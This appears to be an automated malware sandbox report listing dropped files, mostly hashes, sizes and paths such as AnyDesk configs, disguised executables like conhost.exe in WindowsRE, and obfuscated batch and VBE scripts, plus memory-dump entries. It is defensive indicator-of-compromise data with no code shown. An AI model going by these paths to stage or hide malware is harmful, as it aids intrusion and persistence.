25dc330f1e9d4be55e14d40f1dc20fcd1fd1762e

SHA256
b2d6ce9098276f09481ecceeb72d8c86a27ab49d1ff135f13c5a07d6504f864c

SHA512
0d8d5478b4cee4e3e3c18a592662068953b7fd5b9e8218b02f3e6506af1faa218269d47bb8148a39d2aa7391d91c722d84a475c9a128274a366f81874d705f69

Download Submit
C:\ProgramData\AnyDesk\system.conf
Filesize
482B

MD5
f98021f8855b23251c9f7ad799c7f1cc

SHA1
25dc330f1e9d4be55e14d40f1dc20fcd1fd1762e

SHA256
b2d6ce9098276f09481ecceeb72d8c86a27ab49d1ff135f13c5a07d6504f864c

SHA512
0d8d5478b4cee4e3e3c18a592662068953b7fd5b9e8218b02f3e6506af1faa218269d47bb8148a39d2aa7391d91c722d84a475c9a128274a366f81874d705f69

Download Submit
C:\ProgramData\AnyDesk\system.conf
Filesize
691B

MD5
0dd012fa52d0c9a932546b10b1554f1e

SHA1
2aacc52a1083ce35849e076c6a9eb4e3a4025dcb

SHA256
3ff75c244b4532577a645ea3f6aa3fc781581d65e71b89736555847f10821147

SHA512
19beb700d621c28b7027e0e18890981ed938519011eaaa6051ca83e44d8a5c78479ac6085f68572efc4f296b7f4953cf185fb257f05443d556ea6b5a71494fd8

Download Submit
C:\ProgramData\AnyDesk\system.conf
Filesize
691B

MD5
0dd012fa52d0c9a932546b10b1554f1e

SHA1
2aacc52a1083ce35849e076c6a9eb4e3a4025dcb

SHA256
3ff75c244b4532577a645ea3f6aa3fc781581d65e71b89736555847f10821147

SHA512
19beb700d621c28b7027e0e18890981ed938519011eaaa6051ca83e44d8a5c78479ac6085f68572efc4f296b7f4953cf185fb257f05443d556ea6b5a71494fd8

Download Submit
C:\ProgramData\AnyDesk\system.conf
Filesize
691B

MD5
0dd012fa52d0c9a932546b10b1554f1e

SHA1
2aacc52a1083ce35849e076c6a9eb4e3a4025dcb

SHA256
3ff75c244b4532577a645ea3f6aa3fc781581d65e71b89736555847f10821147

SHA512
19beb700d621c28b7027e0e18890981ed938519011eaaa6051ca83e44d8a5c78479ac6085f68572efc4f296b7f4953cf185fb257f05443d556ea6b5a71494fd8

Download Submit
C:\ProgramData\any.exe
Filesize
6.1MB

MD5
83834462455be62ccf135f3137263119

SHA1
f23d183db2adf37e80469191c7d452e8d39935b6

SHA256
565c7756135d7858e8963928fff8d1fdb99a452d8568319aeda4a073f51d0a23

SHA512
7aa6374b4bafae925a1da59212fdb7f262f98848c058173777c0f30c61243b982cfc3d13ce106e9eb59cfb9957c81a5b496e82a5522e9209f0c30f53f864c411

Download Submit
C:\ProgramData\curl.exe
Filesize
5.2MB

MD5
104023cef829fce3e34bf1514daff629

SHA1
b6e7b949109298ec7ff1aa64404a859b5b41ccae

SHA256
15b1158d806de14013fdc3f0e81dca725481d2393249994a122c0a70721ae9f5

SHA512
efebee49ffebf0dcb07c6e7d24477101a7c8a2a03b0bea4df9c1054943823026ffd46f54cc51fb8de062e3641f021d5cf0b23ed67d46a549ee23e5fa7b12be1e

Download Submit
C:\ProgramData\dc.exe
Filesize
1.3MB

MD5
dae7ec3880731dcd27311b4e1dab5e49

SHA1
52d88c8917cbbe4c40bf2e3a67ef8eaad2b52ffc

SHA256
59a058a95f24d57c98b1801a1bc1e1545db8be230a628e2f7dcc34c0452f2d19

SHA512
8064f3819c815db7cafe243de781bd7755f208ea932f383687421ecd56d610c1929426f6ca55b592e51147386f2ece42bc9b2ebb5a208381a510f9dd88d6e5da

Download Submit
C:\ProgramData\migrate.exe
Filesize
6.6MB

MD5
4d877cab8a19afea517ba4436805ce77

SHA1
7210160bd527a3b726ad0686613bff358823de41

SHA256
e2eee92ef0ffc25134049dd0301d464bf8e7b814ba04b25749dea8c0b7cbc29d

SHA512
af9ce52af8d3a6987eb50fd17cbae170195872e8ca2d65db5198842f185d4cba2b70e9d2d0e9cdeb1cb80bd1adaf1674eec84797d65a8c2e236b18261fe018bc

Download Submit
C:\ProgramData\wsappz.exe
Filesize
3.8MB

MD5
9a1d9fe9b1223273c314632d04008384

SHA1
665cad3ed21f6443d1adacf18ca45dfaa8f52c99

SHA256
0f4bf8506a2560c568b9815124dfc43a11c561ed611829df841ec7aba8302359

SHA512
3ec400acd075a4078d7d9f06c853be4ee0fdd7a9d1628428326534df6c0f3ea8f745af9d29031e9259a1bee2f78dd48dfaebcb7e897c22736909a9d6b4f24ba5

Download Submit
C:\ProgramData\wsappz.exe
Filesize
3.8MB

MD5
9a1d9fe9b1223273c314632d04008384

SHA1
665cad3ed21f6443d1adacf18ca45dfaa8f52c99

SHA256
0f4bf8506a2560c568b9815124dfc43a11c561ed611829df841ec7aba8302359

SHA512
3ec400acd075a4078d7d9f06c853be4ee0fdd7a9d1628428326534df6c0f3ea8f745af9d29031e9259a1bee2f78dd48dfaebcb7e897c22736909a9d6b4f24ba5

Download Submit
C:\Recovery\WindowsRE\conhost.exe
Filesize
1.0MB

MD5
18557c37efdef82648622fa471a2db2f

SHA1
e72f774a0bd16c3d7074a826f7f1711845738972

SHA256
04142a2c4e3157a371266a5705959946268fc74b942597062e4dc3ce5f570c27

SHA512
fa0a4e1f74806ff77ad71315d2fc4e008b74c0aac3fc8cbb7e6fe44278e0edde62f99c4d9c3aaff41bc134fc083fe73b638035382c279169f378b66a9bf09d9b

Download Submit
C:\Recovery\WindowsRE\conhost.exe
Filesize
1.0MB

MD5
18557c37efdef82648622fa471a2db2f

SHA1
e72f774a0bd16c3d7074a826f7f1711845738972

SHA256
04142a2c4e3157a371266a5705959946268fc74b942597062e4dc3ce5f570c27

SHA512
fa0a4e1f74806ff77ad71315d2fc4e008b74c0aac3fc8cbb7e6fe44278e0edde62f99c4d9c3aaff41bc134fc083fe73b638035382c279169f378b66a9bf09d9b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
18KB

MD5
9fc10f23032b76c4ca5862f6b58601a2

SHA1
45d4a9e504151d7928e693873dccdce3999f74d3

SHA256
23cbb79d8c60deea6c2d1855ce5d7c136cc6a79b4d726e056b3be7f5ed3c4364

SHA512
4685b87a280d7c998f51a3401b97920cdfc1273f6f5f91f0339133bdd773c30fde608f6c7d7c7b5b52f77d7733a67b4b98fb1633bf89c7ce072bb795cb850270

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
18KB

MD5
d842ca0508b91f819aeff23b704ea5ee

SHA1
9240780a1c4f4bd82bfcad67690b04320b2ae306

SHA256
760cbe08c376be861ff585bc1a2528b7dbd13e85ab2c3b7e3b2c152a7e4d460e

SHA512
c1cd1fe6185727c081becaffcbad70d6f8708f3a832e3cd3b0dc0fd11fd4b05e3b0878c7d9b87055d3bfdb6c55214a95cefd8a51103a3c51f2f89cdd8126887b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
11KB

MD5
9c712a21052925001404171ec921487d

SHA1
19306ffc61e33299a6b1b9b0c9bc307a26857fe7

SHA256
8275cce24bff4c4d65ab8141d47cce349438229f83db2c00a959cb38f61db20d

SHA512
18f42658d8d765d933fd144319863d3343a5fa1513f54cc465e3140af88bba41e5f138cf34f61912ed424620d172f314185407359c340411c3c300f2d0d6b0ea

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
18KB

MD5
7e990e91753f3a5a0dd501fc47962d41

SHA1
64a0b26aec136355e460641a2d9307f4b8d196a0

SHA256
05b9cefa64f4c6dd91af2ef0e7acf5dbb2356a6371dbc46f867ac4b33148f09c

SHA512
b71af4d1e4f781167ec46f6aa1c29870634eefc79c0f1ec213bf198e2d4afe41306e043bf3295e3dda1a764bb997c5c9ea6c011017bc648524fa3459d9e6d581

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
18KB

MD5
7e990e91753f3a5a0dd501fc47962d41

SHA1
64a0b26aec136355e460641a2d9307f4b8d196a0

SHA256
05b9cefa64f4c6dd91af2ef0e7acf5dbb2356a6371dbc46f867ac4b33148f09c

SHA512
b71af4d1e4f781167ec46f6aa1c29870634eefc79c0f1ec213bf198e2d4afe41306e043bf3295e3dda1a764bb997c5c9ea6c011017bc648524fa3459d9e6d581

Download Submit
C:\Users\Admin\AppData\Local\Temp\ZdF8h4HwiS.bat
Filesize
198B

MD5
4d4f8bcff8cadeb5d14a4a5d07711e9e

SHA1
9f7ab9db9dd4d51a1c998f9cd889963082311d5b

SHA256
0ce7def72485a0ff52905d60575395619e0c3bac5544974975c0bf22c34d48cf

SHA512
fecd8e032c27deaec0d8b3a8f1d773413ab4ea13b4587bbd9a03e1006225b15d9b1a22e5f6251e8ddeb4e07b09eb03711f2b092e1902c09022a33fc82e6a128a

Download Submit
C:\Users\Admin\AppData\Roaming\AnyDesk\ad.trace
Filesize
4KB

MD5
564dc35ef70f5b9104d14d04fce4e76e

SHA1
b5c0d0cbcf241703eef31a2fcd8343ba89015cb2

SHA256
0d091dbb1f01f9d97572a8ee9560d7a5e20effed5cce9b0cce48a7cc54311699

SHA512
77bcf3a338935e8a84f0bc52ddfaa0fd62ff4388c94017e5e6d088226f0e52a8b4038122a6a2a109961c0e8e0bbc76c0067ef901ae31ea78fdb4cd16a75ef529

Download Submit
C:\Users\Admin\AppData\Roaming\AnyDesk\ad.trace
Filesize
8KB

MD5
6a5dc57b65aedfa9325b304a97898040

SHA1
a24935a962eaa7dd36d030d760f912e40fb7f92e

SHA256
8afc6e8da249e7f196f85493351d46189dba005b58e05472b9b2e28034e7cbea

SHA512
0fcf75909d287cd01aa2bfd067efc1fdee3a66eda5ce962a7fbd75a3ed353e27714967fd3b8dfb0df38d57fd96fe05cc007a32cb1bb8b113c4cca6af0851e832

Download Submit
C:\Users\Admin\AppData\Roaming\AnyDesk\ad.trace
Filesize
11KB

MD5
d55e00b4e7b62f6cf7fc1f4eb9a403f3

SHA1
a9b6d0d8ae113f2aa7f0d2b8c9c05fc89d78048e

SHA256
ebc9e3161dbdd550c21be1649bb4aa316a9c159c5592c1516861a552fd0c798d

SHA512
d7a345548b2efb24a2362afe70b2609a974c11380510c7f13c8c443d00592be635466c8f1b41f8f1c509c880cce467f72c5b24153eb45ac225a17dd3dff1b1c5

Download Submit
C:\Users\Admin\AppData\Roaming\AnyDesk\user.conf
Filesize
1KB

MD5
16fb7dcad0149d1d3d56879f12a8c39b

SHA1
1bc145b581c32c6873d0fdcb905f139c8a195a46

SHA256
d3fc50352514359b4c8e8d408c3fdf23f16d3c92b0211ef91fde0af38987b37c

SHA512
acea8e02139edc0605f46137d1c9be4adaaf50553352cd2209c21a48bb01615ef95686f62b60c0129f3700f461a5204a87dd10783b028b823c4c8cd5c618c598

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize
6KB

MD5
c702c4b963ef4bdfba83601b39e6f53b

SHA1
0da11fa9484beda59626485cc9cc00a302b902b3

SHA256
a0522c5a9d00aa04100bdef91b3fbb68f617e14e9bd616908f0edf03e95a6f83

SHA512
14b59374bce702592f941c1930977c0b3f14a4a74540b17f194af39805d2cb757c99953c062ba04105e6defd9a1c068cae6ba0bd63aaaaf1f13e1af7e3582db8

Download Submit
C:\programdata\1.exe
Filesize
775KB

MD5
0442a8479aa5f19dd5a64ddfd677b9f8

SHA1
fa003104e8e8e6646049a49bd517224ba34ac4b6

SHA256
5161a16217b9d8b9817ad1f6e1020e2eb625bbd6ccf82fbf9423077d0c966aa0

SHA512
51ddbff08b54bbafd365e71432697bea5a3eb49bd87dafd477a059f59e1f2f2eaa8e465abda8499745a9a81c6e10a5c44a9a255d51d79d5e8a7b7c25709abe42

Download Submit
C:\programdata\any.bat
Filesize
2KB

MD5
7189281b9182a9a412a92af69b77c836

SHA1
d98322de39d62e8d5e6f8fb7fe2ce30f578a4853

SHA256
baae6af47a9b83c57269d62cf17e4d68927adee93e5567ce2bb5ae33cbe845eb

SHA512
211be9213611bdbd44b2dac2462d0688c02f352c6c55cc6602d84b0a8ceff9a96ca79f6989ce825c8ecedf65fb13e6583fb92fb56c551bf61948320f12cbb6be

Download Submit
C:\programdata\any.exe
Filesize
6.1MB

MD5
83834462455be62ccf135f3137263119

SHA1
f23d183db2adf37e80469191c7d452e8d39935b6

SHA256
565c7756135d7858e8963928fff8d1fdb99a452d8568319aeda4a073f51d0a23

SHA512
7aa6374b4bafae925a1da59212fdb7f262f98848c058173777c0f30c61243b982cfc3d13ce106e9eb59cfb9957c81a5b496e82a5522e9209f0c30f53f864c411

Download Submit
C:\programdata\dc.exe
Filesize
1.3MB

MD5
dae7ec3880731dcd27311b4e1dab5e49

SHA1
52d88c8917cbbe4c40bf2e3a67ef8eaad2b52ffc

SHA256
59a058a95f24d57c98b1801a1bc1e1545db8be230a628e2f7dcc34c0452f2d19

SHA512
8064f3819c815db7cafe243de781bd7755f208ea932f383687421ecd56d610c1929426f6ca55b592e51147386f2ece42bc9b2ebb5a208381a510f9dd88d6e5da

Download Submit
C:\programdata\ru.bat
Filesize
32B

MD5
11e08b5abf3f1675f99c96f78c128b23

SHA1
40d6dd08262ef959328aec4dc5ed07532232037c

SHA256
50ac09332ff9d6521244b4f9cf6fd9cc489b3324ed1316e07f6a5904230397e7

SHA512
3005767016b4c5da031fb2ac5288b01821d54768b5e099e1157d4fa4621a078d589e54d9c5c89ded58ac3ca94395dacbf1d840f9210f909d3c9dfe8092de8ff9

Download Submit
C:\runtimeMonitor\ComdriverSvc.exe
Filesize
1.0MB

MD5
18557c37efdef82648622fa471a2db2f

SHA1
e72f774a0bd16c3d7074a826f7f1711845738972

SHA256
04142a2c4e3157a371266a5705959946268fc74b942597062e4dc3ce5f570c27

SHA512
fa0a4e1f74806ff77ad71315d2fc4e008b74c0aac3fc8cbb7e6fe44278e0edde62f99c4d9c3aaff41bc134fc083fe73b638035382c279169f378b66a9bf09d9b

Download Submit
C:\runtimeMonitor\ComdriverSvc.exe
Filesize
1.0MB

MD5
18557c37efdef82648622fa471a2db2f

SHA1
e72f774a0bd16c3d7074a826f7f1711845738972

SHA256
04142a2c4e3157a371266a5705959946268fc74b942597062e4dc3ce5f570c27

SHA512
fa0a4e1f74806ff77ad71315d2fc4e008b74c0aac3fc8cbb7e6fe44278e0edde62f99c4d9c3aaff41bc134fc083fe73b638035382c279169f378b66a9bf09d9b

Download Submit
C:\runtimeMonitor\PsYm20I.bat
Filesize
36B

MD5
13e52857c334ca3b14c44cffece40607

SHA1
eaa9d704385cec30f7841ef6d3c051b225007dbe

SHA256
4e457ab29e89a42a805b427decc8e571e15d857061c939ee7aa8d0bcaff25a6c

SHA512
4b0c23faad00995254ae02b5ce55de33344f66120f1e8640d80059d7cf77f3b149c46ae24bdd459881ef332331cc59e6fc50e55c1fa1a585f63dbf5badb93337

Download Submit
C:\runtimeMonitor\eW0NlR3z8rHah1r0tet2KhNAo.vbe
Filesize
198B

MD5
f3fbd4e6a0097ff2d729be2b6e494e80

SHA1
abed54083af60944e4628718061fa6b9ce402594

SHA256
b7d74a96173fd177dceead637138814738b68799b018437dbd4ba20213977e56

SHA512
f9a7f899cdc423a3214072de0a2858f212e15d9055b22cbb8536d20cea3fe199e3f44f3183c6d3e41e85a04b2b47e0497ead13eeb49e67f91e44cb19fe4a0f57

Download Submit
C:\windows\tasks\run.bat
Filesize
338B

MD5
20a377ca25c7fcdff75b3720ba83e11c

SHA1
ad3ceb92df33714c7d3f517a77b1086797d72c47

SHA256
280e5ccacd1622f61cfd675f4ae1204790bd5aea648d0e51145d01a772d792ad

SHA512
b4f2d5a1c8cbdfd7cc3f6d106735e816572bb0a177b302263fa9267625bca7d77f49b5e86252c3632ce9e05e4e5ba7730e7555ac465ed5b46f913de4739cecc6

Download Submit
\??\c:\programdata\curl.exe
Filesize
5.2MB

MD5
104023cef829fce3e34bf1514daff629

SHA1
b6e7b949109298ec7ff1aa64404a859b5b41ccae

SHA256
15b1158d806de14013fdc3f0e81dca725481d2393249994a122c0a70721ae9f5

SHA512
efebee49ffebf0dcb07c6e7d24477101a7c8a2a03b0bea4df9c1054943823026ffd46f54cc51fb8de062e3641f021d5cf0b23ed67d46a549ee23e5fa7b12be1e

Download Submit
\??\c:\programdata\migrate.exe
Filesize
6.6MB

MD5
4d877cab8a19afea517ba4436805ce77

SHA1
7210160bd527a3b726ad0686613bff358823de41

SHA256
e2eee92ef0ffc25134049dd0301d464bf8e7b814ba04b25749dea8c0b7cbc29d

SHA512
af9ce52af8d3a6987eb50fd17cbae170195872e8ca2d65db5198842f185d4cba2b70e9d2d0e9cdeb1cb80bd1adaf1674eec84797d65a8c2e236b18261fe018bc

Download Submit
\??\c:\programdata\st.bat
Filesize
3KB

MD5
d7c8216954b5eb6037dd1a45dd57a4f0

SHA1
a7edc98e44c55070d28941bfc9f7d88a95576041

SHA256
cf5405b85d6f3e6365707af3302610d84596c23f0f7717c43eb11c1ac702bce7

SHA512
3338f2c096137b568cf1f3ac1ae6ab4be2b2baa7ed08aaa4b7fe6b72ddca231d456a3fa41c817b6dc14abc62c062a390a440b8a3fc6a1ab5243f7f4fc12f29af

Download Submit
\??\c:\programdata\wsappy.exe
Filesize
3.8MB

MD5
9a1d9fe9b1223273c314632d04008384

SHA1
665cad3ed21f6443d1adacf18ca45dfaa8f52c99

SHA256
0f4bf8506a2560c568b9815124dfc43a11c561ed611829df841ec7aba8302359

SHA512
3ec400acd075a4078d7d9f06c853be4ee0fdd7a9d1628428326534df6c0f3ea8f745af9d29031e9259a1bee2f78dd48dfaebcb7e897c22736909a9d6b4f24ba5

Download Submit
memory/260-310-0x0000000000000000-mapping.dmp

Download
memory/628-173-0x0000000000000000-mapping.dmp

Download
memory/1068-245-0x00007FFECE6F0000-0x00007FFECF1B1000-memory.dmp

Filesize
10.8MB

Download
memory/1068-304-0x00007FFECE6F0000-0x00007FFECF1B1000-memory.dmp

Filesize
10.8MB

Download
memory/1068-225-0x0000000000000000-mapping.dmp

Download
memory/1108-181-0x0000000000000000-mapping.dmp

Download
memory/1108-228-0x0000000000000000-mapping.dmp

Download
memory/1108-275-0x00007FFECE6F0000-0x00007FFECF1B1000-memory.dmp

Filesize
10.8MB

Download
memory/1108-248-0x00007FFECE6F0000-0x00007FFECF1B1000-memory.dmp

Filesize
10.8MB

Download
memory/1428-277-0x0000000000000000-mapping.dmp

Download
memory/1584-170-0x0000000000000000-mapping.dmp

Download
memory/1592-180-0x0000000000000000-mapping.dmp

Download
memory/1612-163-0x0000000000000000-mapping.dmp

Download
memory/1684-297-0x0000000000000000-mapping.dmp

Download
memory/1684-149-0x0000000000000000-mapping.dmp

Download
memory/1684-153-0x000000006F160000-0x000000006F1AC000-memory.dmp

Filesize
304KB

Download
memory/1764-311-0x0000000000000000-mapping.dmp

Download
memory/1824-157-0x0000000000000000-mapping.dmp

Download
memory/2020-206-0x0000000000B40000-0x0000000001B99000-memory.dmp

Filesize
16.3MB

Download
memory/2020-201-0x0000000000B40000-0x0000000001B99000-memory.dmp

Filesize
16.3MB

Download
memory/2020-298-0x0000000000B40000-0x0000000001B99000-memory.dmp

Filesize
16.3MB

Download
memory/2276-169-0x0000000000000000-mapping.dmp

Download
memory/2744-154-0x0000000000000000-mapping.dmp

Download
memory/2832-264-0x00007FFECE6F0000-0x00007FFECF1B1000-memory.dmp

Filesize
10.8MB

Download
memory/2832-240-0x00007FFECE6F0000-0x00007FFECF1B1000-memory.dmp

Filesize
10.8MB

Download
memory/2832-222-0x0000000000000000-mapping.dmp

Download
memory/2900-305-0x0000000000000000-mapping.dmp

Download
memory/2944-168-0x0000000000000000-mapping.dmp

Download
memory/3248-189-0x0000000000300000-0x0000000001359000-memory.dmp

Filesize
16.3MB

Download
memory/3248-187-0x0000000000000000-mapping.dmp

Download
memory/3248-194-0x0000000000300000-0x0000000001359000-memory.dmp

Filesize
16.3MB

Download
memory/3248-208-0x0000000000300000-0x0000000001359000-memory.dmp

Filesize
16.3MB

Download
memory/3260-184-0x0000000000000000-mapping.dmp

Download
memory/3260-244-0x00007FFECE6F0000-0x00007FFECF1B1000-memory.dmp

Filesize
10.8MB

Download
memory/3260-253-0x00007FFECE6F0000-0x00007FFECF1B1000-memory.dmp

Filesize
10.8MB

Download
memory/3260-224-0x0000000000000000-mapping.dmp

Download
memory/3472-174-0x0000000000000000-mapping.dmp

Download
memory/3532-159-0x0000000000000000-mapping.dmp

Download
memory/3548-314-0x0000000000000000-mapping.dmp

Download
memory/3616-213-0x0000000000B40000-0x0000000001B99000-memory.dmp

Filesize
16.3MB

Download
memory/3616-303-0x0000000000B40000-0x0000000001B99000-memory.dmp

Filesize
16.3MB

Download
memory/3616-209-0x0000000000B40000-0x0000000001B99000-memory.dmp

Filesize
16.3MB

Download
memory/3668-182-0x0000000000000000-mapping.dmp

Download
memory/3768-229-0x0000016DDD0B0000-0x0000016DDD0D2000-memory.dmp

Filesize
136KB

Download
memory/3768-232-0x00007FFECE6F0000-0x00007FFECF1B1000-memory.dmp

Filesize
10.8MB

Download
memory/3768-255-0x00007FFECE6F0000-0x00007FFECF1B1000-memory.dmp

Filesize
10.8MB

Download
memory/3768-218-0x0000000000000000-mapping.dmp

Download
memory/3996-279-0x0000000000000000-mapping.dmp

Download
memory/3996-281-0x0000000000B40000-0x0000000001B99000-memory.dmp

Filesize
16.3MB

Download
memory/3996-293-0x0000000000B40000-0x0000000001B99000-memory.dmp

Filesize
16.3MB

Download
memory/4024-220-0x0000000000000000-mapping.dmp

Download
memory/4024-233-0x00007FFECE6F0000-0x00007FFECF1B1000-memory.dmp

Filesize
10.8MB

Download
memory/4024-265-0x00007FFECE6F0000-0x00007FFECF1B1000-memory.dmp

Filesize
10.8MB

Download
memory/4080-179-0x0000000000000000-mapping.dmp

Download
memory/4104-219-0x0000000000000000-mapping.dmp

Download
memory/4104-263-0x00007FFECE6F0000-0x00007FFECF1B1000-memory.dmp

Filesize
10.8MB

Download
